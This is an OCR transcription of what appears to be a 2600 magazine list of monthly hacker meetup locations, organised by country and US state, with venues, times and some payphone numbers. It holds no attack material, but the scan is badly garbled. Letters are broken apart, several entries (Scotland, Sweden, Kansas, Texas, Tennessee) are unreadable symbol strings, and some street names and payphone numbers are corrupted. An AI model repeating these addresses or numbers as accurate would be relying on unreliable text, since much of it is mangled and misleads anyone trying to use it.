Station ( L i ne 2 of the "METRO" 
subway, the b lue one).  At the 
" Departamento del D i strito 
Federa l "  exit, near the payphones 
and the candy shop, at the beg i n ­
n i ng of t h e  "Zocalo-Pino Suarez" 
tunnel .  

NORWAY 
Oslo: Oslo Sentra l Tra i n  Stat ion .  
7 pm 
Tromsoe: The upper floor at B l a a  
R o c k  Cafe, Strandgata 1 4 . 6 pm 
Trondheim: R ick's Cafe i n  
Nordregate. 6 ��RU 
Lima: Barb i l o n i a  (ex Apu Ba r), en 
Alca nfores 455, M i raflores, at the 
end of T arata St. 8 pm 

SCOTlAND 

��������c���a�os�i�:f��m 1 .  
7 pm 

SOUTH AFRICA 
Johannesburg (Sandton City): 
Sandton food court .  6 : 3 0  pm 

SWEDEN 
Gothenburg: 2nd floor in B u rgE'r 

����k�o1��n6�ts�de�ava. 
SWITZERLAND 

Lausanne: I n  front of the MaeDo 
beside the tra i n  stat ion .  7 pm 

U N ITED STATES 
Alabama 

Auburn: The student lou nge 
upsta i rs in the Foy U n ion 

��i��!�fii:: �:;;n l i eo's Sub Vi l l a  on 
Jorda n Lane.  
Tuscaloosa: McFar land Mal l  food 
court near the front entra nce'. 

Arizona 
Phoenix: U n l i m i ted Coffee ( 7 4 1  E. 
G lt>ndale Awl. 6 pm 
Tucson: Borders i n  the Pa rk M a l l .  
7 pm 

California 
Irvine: Pa nNJ B read, 3 988 
Ba rri.1nCa Parkway. 7 pm 
Los Angeles: U n i o n  Stat ion,  
corner  of Miley & Aldmcda.  l n s i rll' 
m a i n  entrance by ba n k  of phones. 
PaYrhom.�s: (2 1 1 ) 1) 72 -1)5 1 9, 9520; 
625-9923, 9924; 6 1 3 -9704, 9746. 
Monterey: Mucky Duck, 479 
Alva rado St. 5 :30 pm.  
Sacramento: Round Ta ble P izza  
at 1 2 7  K St. 
San Diego: Regents P i z za,  4 1 50 
Regents Park Row # 1 70.  
San francisco: 4 Embarcadero 
P laza ( i ns ide) .  5 : 3 0  p m  
S a n  Jose: Outside t h e  cafe at t h e  
M L K  L i brary at 4 t h  and E San 
Fernando.  6 pm 

Colorado 
Boulder: Wing Zone food court, 
1 3th and Col l ege. 6 pm 
Lakewood: Ba rnes and Noble i n  
the Denver West Shopping Center, 
1 43 4 7  W Colfa x  Ave. 

District of Columbia 
Arlington: Pentagon Ci ty M a l l  by 
the pflone booths next to Panda 
Express. b pm 

Florida 
Ft. Lauderdale: Broward Mall i n  
the food court.  6 pm 

Gainesvil le: I n  the back of the 
U n i verSity of F lor ida 's Reitz U n i o n  
food court. 6 p m  
Melbourne: House o f  J o e  Coffee 
House, 1 2 2 0  W New H aven 

�����£�Fash ion Square M a l l  
Food Court between Hovan 
Gou rmet and Manchu Wok. 6 p m  
Tampa: U n iversity Ma l l  in the 
bacl< of the food court on the 2 n d  
floor. 6 p m  

Atlanta: Leno�e,::.�'l
ifood court.  

7 pm 
Idaho 

Boise: BSU Student U n ion 
B u i l d i ng, u psta i rs from the m a i n  
entra nce. Payphones: (208) 
342-9 700, 9 7 0 l . 
Pocatello: Col l ege Ma rket, 604 
5 8th 51. 

I l l inois 
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Rd.  7 pm 
I ndiana 

Evansville: Barnes and Noble cafe 
at 624 S G reen River Rd. 
Ft. Wayne: Glenbrook M a l l  food 
court in front of Sbarro's. 6 pm 
Indianapolis: Mo'Joe Coffee 
House, 2 2 2  W M i c h igan St. 
South Bend (Mishawaka): Barnes 
a n d  Noble cafe, 4601 G rape Rd. 

Iowa 
Ames: Memoria l  U n ion B u i l d i n g  
food court at t h e  Iowa State 
U n i versity. 

Kansas 

�rksa�a�l
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Wichita: Riverside Perk, 1 1 44 
B itt ing Ave. 

Louisiana 
Baton Rouge: In the LSU U n i o n  
B u i l d i ng, between t h e  Tiger Pause 
& McDona l d 's .  6 pm 
New Orleans: Z' otz Coffee House 
uptown at 82 1 0  Oak St. 6 pm 

Maine 
Portland: Maine Ma l l  by the 
bench at the food court door. 

Maryland 
Baltimore: Barnes & Noble cafe at 
the I n ner H arbor. 

Massachusetts 
Boston: Prudent i a l  Center Plaza,  
tprr(lce food court at the tables 
near the w i ndows. 6 pm 
Marlborough: Solomon Park M a l l  
food court.  6 pm 
Northampton: Downsta i rs of 
Hayma rket Cafe.  6 pm 

Michigan 
Ann Arbor: Starbucks i n  The 
G a l ler ia  on 5 U n iversity. 

Minnesota 
Bloomington: Ma l l  of America, 
north s ide food court, across 
from Bu rger King & the bank 
of payphones that don't take 
i ncoming c a l i s .  

Missouri 
Kansas City ( I ndependence): 
Ba rnes & Noble, 1 9 1 2 0 E 39th St. 
St. Louis: G a l ler ia  Food Court. 
Springfield: Borders Books and 
Music coffeeshop, 3 3 00 S Glen­
stone Ave, one b lock south of  
Bat t lef ie ld  Ma l l .  5 : 3 0  pm 

Nebraska 
Omaha: Crossroads M a l l  Food 
Court. 7 pm 

Nevada 
Las Vegas: reJAVAnate Coffee, 
3 3 00 E F l a m i ngo Rd (at Pecos). 
7 pm 

New Mexico 
Albuquerque: U n iverSity of N ew 
Mexico Student U n i o n  B u i l d i ng 
(p laza " I ower" level lounge), 
m a i n  campus.  Payphones: 
505-843-903 3 , 5 05-843-9034. 
5:30 p m  

New Vork 
New York: Cit igroup Center, in the 
lobby, near the payphones, 1 53 E 
5 3 rd St, between Lexi ngton & 3 rd .  
Rochester: Pa nera Bread, 2 3 73 W 
R idge Rd. 7 : 3 0  pm 

North Carolina 
Charlotte: South Park M a l l  food 
court. 7 pm 
Raleigh: Roya l Bean coffee shop 
on H i l l sboro St (next to the Play­
makers Sports Ba�  and across from 
Meredith Col l ege). 
Wilmington: The Connection 
I nternet Cafe, 2 50� 1 Racine Drive, 
Racine Commons Shoppi n g  
Center. 

North Dakota 
Fargo: West Acres M a l l  food court 
by the Taco John's .  6 pm 

Ohio 
Cincinnati: The Brew House, 1 04 7  
E McMi l l a n .  7 p m  
Cleveland: U n iversity C i rc le  
Arabi ca, 1 1 3 00 J u n i per Rd. 
U pstai rs, turn r ight, second room 
on left. 
Columbus: Convention center on 
street level around the corner from 
the food court. 
Daylon: TGI  Fr iday's off 725 by 
the Dayton Ma I I .  

Oklahoma 
Oklahoma City: Cafe Be l la ,  
southeast corner  of SW 89th St  
a n d  Pen n .  
Tulsa: Promenade M a l l  food court. 

Oregon 
Portland: Backspace Cafe, 1 1 5  
NW 5th Ave. 6 pm 

Pennsylvania 
Allentown: ?a nera Bread, 3 1 00 W 
Ti lghman 51. 6 pm 
Harrisburg: Panera B read, 4263 
U n ion Deros i t  Rd. 6 pm 
Philadelphia: 3 0th St Station, 
southeast food court near m i n i  
post office. 

South Carol ina 
Charleston: Northwoods M a l l  
i n  the h a l l  between Sears and 
C h i k-F i l-A. 

South Dakota 
Sioux Falls: E m p i re M a l l ,  by 
B u rger K i ng. 

Tennessee 
Knoxville: Borders Books Cafe 
across from Westown M a l l .  
Memphis: Quetza l ,  664 U n ion 

���heiG� Vanderb i l t  U n iversity 
H i l l  Center, Room 1 5 1 ,  1 2 3 1  1 8th 
Ave S .  6 pm 

Texas 
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�����:: �Tnfa's Express in front 
of Nordstrom's in the Ga l ler ia 
M a l l .  
S a n  Antonio: North Star M a l l  food 
court.  6 pm 

Utah 
Salt Lake City: ZCMI Mall in The 
Park Food Court. 

Vermont 
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second floor of the cafe. 
Virginia 

Arlington: (see D i strict of 
Columbia)  
Charlottesville: Panera B read 
at the Barracks Road Shopping 
Center. 6 : 3 0  pm.  
Virginia Beach: lxn n haven M a l l  
on Lynnhaven Parkway. 6 p m  

Washington 
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s ide.  6 pm 
Spokane: Coffee Station, 93 1 5  N 
Nevada ( North Spokane). 6 pm 

Wisconsin 
Madison: Fa i r  Trade Coffee House, 
4 1 8  State St. 

All meetings take place on the 
first Frii/ay of the month. 

Unless otherwise noted, they 
start at 5 pm local time. To start 

a meetmg in your city, send 
email to meetrngs@2600.com. 
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